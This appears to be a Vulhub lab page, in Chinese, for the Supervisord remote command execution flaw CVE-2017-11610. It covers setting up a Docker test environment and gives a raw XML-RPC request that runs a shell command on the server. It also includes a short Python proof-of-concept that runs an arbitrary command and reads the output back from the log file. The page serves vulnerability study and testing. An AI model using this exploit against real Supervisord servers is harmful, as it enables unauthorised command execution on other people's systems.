Supervisord 遠程命令執行漏洞(CVE-2017-11610)
Path supervisor/CVE-2017-11610
參考鏈接(可以詳細看一下第一篇文章):
- https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
- https://blogs.securiteam.com/index.php/archives/3348
- https://github.com/Supervisor/supervisor/commit/90c5df80777bfec03d041740465027f83d22e27b
運行環境
docker-compose build
docker-compose up -d
環境啟動后,訪問http://your-ip:9001即可查看Supervisord的頁面。
漏洞測試
直接執行任意命令:
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

關于直接回顯的POC
@Ricter 在微博上提出的一個思路,甚是有效,就是將命令執行的結果寫入log文件中,再調用Supervisord自帶的readLog方法讀取log文件,將結果讀出來。
寫了個簡單的POC: poc.py,直接貼出來吧:
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
使用Python3執行并獲取結果:./poc.py "http://your-ip:9001/RPC2" "command":

Vulhub 文檔